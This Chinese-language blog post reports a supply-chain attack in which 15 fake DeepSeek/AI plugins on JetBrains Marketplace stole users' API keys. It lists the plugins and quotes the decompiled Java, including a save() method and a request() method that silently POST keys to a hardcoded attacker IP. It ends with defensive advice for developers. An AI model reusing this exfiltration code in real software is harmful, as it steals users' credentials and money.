乐于分享
好东西不私藏

快查你的 IDE,这 15 个插件在偷 API key

快查你的 IDE,这 15 个插件在偷 API key
最近,JetBrains插件市场爆出一起有组织的供应链投毒事件:至少15个伪装成DeepSeek/AI编程助手的IDE插件,在你"保存API Key"的瞬间,把密钥静默外发到攻击者服务器,累计安装量接近7万次。安全研究机构 Aikido 在6月16日披露了完整细节。
更值得注意的是攻击者的"商业模式"——边收割免费密钥,一边把这些偷来的Key当成"付费会员福利"再发给充值用户,让真正的Key主在不知情中替别人买单。下面把这件事的来龙去脉和实操应对讲清楚。

 15 款问题插件清单 

如果你或你的团队安装过以下任何插件,请立即自查:
插件名称
插件 ID
DeepSeek AI Assist
ord.cp.code.ai.kit
CodeGPT AI Assistant
com.my.code.tools
DeepSeek Junit Test
org.sm.yms.toolkit
DeepSeek Git Commit
com.json.simple.kit
DeepSeek FindBugs
org.bug.find.tools
DeepSeek AI Chat
org.translate.ai.simple
DeepSeek Dev AI
com.yy.test.ai.simple
DeepSeek AI Coding
com.dev.ai.toolkit
AI FindBugs
com.json.view.simple
AI Git Commitor
com.my.git.ai.kit
AI Coder Review
org.check.ai.ds
DeepSeek Coder AI
com.review.tool.code
AI Coder Assistant
org.code.assist.dev.tool
DeepSeek Code Review
com.coder.ai.dpt
Coding Simple Tool
com.dp.git.ai.tool

下载量最高的两款是DeepSeek AI Assist(27,727 次)和CodeGPT AI Assistant(25,571 次)。

 攻击是怎么发生的?

这些插件的套路并不复杂,但设计得很隐蔽。插件名称都带DeepSeek、AI、Code、Assist等关键词,提供聊天、代码审查、单元测试生成、Git Commit消息生成等常见功能。界面和正常插件无异,设置面板里要求填写API Key也是常规操作——开发者不会觉得哪里不对。
Aikido在逆向分析时发现了关键代码。以其中一款插件为例,保存API Key 的save()方法长这样:
public static void save(String key) {    if (key != null && key.startsWith("sk-") && ks.add(key) && StringUtils.length(key) == 51) {        SoftwareDto dto = new SoftwareDto();        dto.setApiKey(key);          // your provider secret        BaseUtil.request("key", dto); // shipped off to the attacker server    }}
BaseUtil.request()的实现更直白:
public static void request(String api, Object dto) { try { String json = JSON.toJSONString(dto); String url = "http://39.107.60.51/api/software/" + api; HttpUtil.post(url, json, 5000); } catch (Exception e) { // 静默吞掉异常,不让用户看到任何报错 }}
这里有几个值得注意的点。HTTP明文传输,http://而非https://,网络中间人可以直接截获。硬编码的IP地址39.107.60.51,没有域名没有CDN,就是一台裸服务器。
异常静默处理,catch块里什么都不做,即使发送失败也不会弹窗提醒用户。5秒超时,快速发完快速结束,不拖泥带水。
整个流程就是用户在设置面板填了Key,点了Apply,插件表面上在本地保存配置,背地里已经把Key发到攻击者服务器了。用户没有任何感知。
Aikido还发现这些插件内置了付费功能。免费用户输入自己的Key被偷走,付费用户通过插件内的捐赠墙支付小额费用后获得一个"可用"的API Key。
研究人员推测的逻辑是攻击者把从免费用户那里偷来的Key转手提供给付费用户使用。免费用户替攻击者付API账单,付费用户替攻击者付插件费用——两头通吃。
 一点想法 
这次事件之后,我卸载了所有非必需的第三方插件。不是因为不信任 JetBrains Marketplace,而是意识到一个问题:功能正常的插件,比功能异常的插件更难识别。
此前我觉得安装前看看发布者信息、下载量、评论就够了。这次发现不够。这15款插件下载量几万,评论也有,界面正常,功能完整,窃取逻辑藏在一个不起眼的工具类里,普通用户不可能发现。
发布者账号没有官网,没有GitHub,没有历史项目,但这些信息得点进账号详情页才能看到,大多数人装插件时根本不会点。
真正能降低风险的,不是"安装前做背调"这类正确的废话,而是不要把生产环境的API Key填入任何第三方插件的设置面板。
环境变量、.env文件、企业级AI网关,这些方案被反复提及,但真能做到的团队不多。因为直接粘贴进插件设置面板是最快的,配置环境变量需要多敲几行命令。
建议每季度检查一次团队内所有开发者的IDE插件列表,清理长期不用或来源不明的插件。JetBrains官方博客会发布Marketplace安全更新,RSS订一个,或者让安全同事盯着。
我现在 IDE 里只剩官方插件和两三个用了两年以上的老插件。新出的AI助手,等半年再说。

-- END --